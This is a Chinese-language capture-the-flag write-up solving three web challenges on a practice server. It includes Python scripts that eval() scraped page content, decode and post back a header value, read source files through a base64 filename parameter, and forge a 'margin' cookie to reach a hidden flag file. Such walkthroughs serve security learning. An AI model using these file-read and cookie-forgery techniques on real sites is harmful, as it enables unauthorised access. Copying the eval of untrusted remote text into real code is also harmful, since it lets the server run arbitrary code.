题目一:秋名山车神
import requests
import re
url = 'http://123.206.87.240:8002/qiumingshan/'
se = requests.session()
response = se.get(url)
response.encoding = 'UTF-8'
# print(response.text)
r = '<div>(.*)=/?'
result = re.findall(r,response.text)
# print(result)
num = eval(result[0])
# print(num)
data = {'value': num}
response2 = se.post(url, data=data)
response2.encoding = 'UTF-8'
print(response2.text)
requests.session()
session对象可以使我们跨请求保持某些参数,也可以在同一个session实例发出的所有请求之间保持cookies
eval()
字符串代码化
关于re库和requests库的其它的内容见我的上两篇文章
题目二:速度要快
看源码,有一行提示
<!-- OK ,now you have to post the margin what you find -->
抓包,放进repeater,headers中有个flag:后面跟着遗传密文,似base加密,经过尝试发现,两次base64解密后可得到一串数字,疑似提示中所要post的值。研究发现,每次刷新页面该header会变,于是使用python脚本,使用requests库的session方法,保持该页面参数,再post该值,得到flag,源码如下:
import requests
import base64
import re
url = 'http://123.206.87.240:8002/web6/'
session = requests.session()
response = session.get(url)
flag = response.headers['flag']
print(flag)
flag = base64.b64decode(flag)
flag = flag.decode()
regex = r': (.*)'
flag = re.findall(regex, flag)[0]
flag = base64.b64decode(flag).decode()
data = {'margin': flag}
response2 = session.post(url, data=data)
print(response2.text)
题目三:cookies欺骗
打开页面,有一堆英文,观察url,发现通过get参数传递了两个参数,一个是line,另外一个是filename,并且filename后跟着一串疑似base64密文,解密后为keys.txt,尝试其他文件,比如index.php通过更改line可发现是一个php文件不同行,脚本读取整个文件
import requests
import re
import base64
url = 'http://123.206.87.240:8002/web11/index.php'
params = {'filename': 'aW5kZXgucGhw', 'line': '0'}
for i in range(0,50):
params['line'] = i
response = requests.get(url,params=params)
print(response.text, end='')
得到php文件为
<?php
error_reporting(0);
$file = base64_decode(isset($_GET['filename']) ? $_GET['filename'] : "");
$line = isset($_GET['line']) ? intval($_GET['line']) : 0;
if ($file == '') header("location:index.php?line=&filename=a2V5cy50eHQ=");
$file_list = array(
'0' => 'keys.txt',
'1' => 'index.php',
);
if (isset($_COOKIE['margin']) && $_COOKIE['margin'] == 'margin') {
$file_list[2] = 'keys.php';
}
if (in_array($file, $file_list)) {
$fa = file($file);
echo $fa[$line];
}
burpsuite抓包cookie传递margin=margin可得flag